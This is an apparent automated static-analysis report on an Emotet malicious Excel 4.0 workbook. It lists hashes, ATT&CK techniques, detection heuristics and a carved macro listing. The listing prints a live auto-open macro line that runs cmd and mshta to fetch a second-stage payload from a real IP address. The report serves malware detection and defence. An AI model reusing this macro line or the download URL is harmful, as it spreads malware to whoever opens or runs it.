Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 2eb2616001468e75…

MALICIOUS

Office (OLE) / .XLS

76.2 KB Created: 2022-01-26 21:52:19 Authoring application: Microsoft Excel
MD5: 70ab7df426c85b41c9906e1635361e03 SHA-1: fe333f27f33c726a751e33095e591b84c0b6787f SHA-256: 2eb2616001468e75666093529d58ea1c034e1d8c310466d503b7fd38a75f7488
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell

The file contains an Excel 4.0 macro sheet with an Auto_Open defined name, which is a critical indicator of malicious intent. The macro utilizes dangerous formula APIs, specifically the RUN function, to execute external commands. Heuristics also indicate a reference to mshta.exe and a sequence matching 'cmd /c mshta http://', confirming the macro's purpose is to download and execute a second-stage payload from the provided URL. ClamAV detection further supports this, identifying it as Doc.Downloader.EmotetRed02220-9938633-0.

Heuristics 8

  • ClamAV: Doc.Downloader.EmotetRed02220-9938633-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02220-9938633-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.240.118.168/zzx/ccv/fe.htmlB In document text (OLE body)
    • http://91.240.118.168/zzx/ccv/fe.htmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
ae04d5c104f21141f430aad243ecbad709822bd8efcfd8c6a83945c0ae8dd42a
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3673 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  Macro
' 0085     17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Time Car
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Macro!J1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Macro,J19,EXEC("cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html"),""
'  Macro,J24,HALT(),""
'  Time Car,C16,"",39082.00000000000000000000
'  Time Car,C21,"IF(C16=0,"",C16-6)",""
'  Time Car,H21,[],""
'  Time Car,C22,"IF(C16=0,"",C16-5)",""
'  Time Car,H22,[],""
'  Time Car,C23,"IF(C16=0,"",C16-4)",""
'  Time Car,H23,[],""
'  Time Car,C24,"IF(C16=0,"",C16-3)",""
'  Time Car,H24,[],""
'  Time Car,C25,"IF(C16=0,"",C16-2)",""
'  Time Car,H25,[],""
'  Time Car,C26,"IF(C16=0,"",C16-1)",""
'  Time Car,H26,[],""
'  Time Car,C27,"IF(C16=0,"",C16)",""
'  Time Car,H27,[],""
'  Time Car,D28,R~20C~3,""
'  Time Car,E28,R~20C~4,""
'  Time Car,F28,R~20C~5,""
'  Time Car,G28,R~20C~6,""
'  Time Car,H28,R~20C~7,""
'  Time Car,D30,D28*D29,""
'  Time Car,E30,E28*E29,""
'  Time Car,F30,F28*F29,""
'  Time Car,G30,G28*G29,""
'  Time Car,H30,R~29C~3,""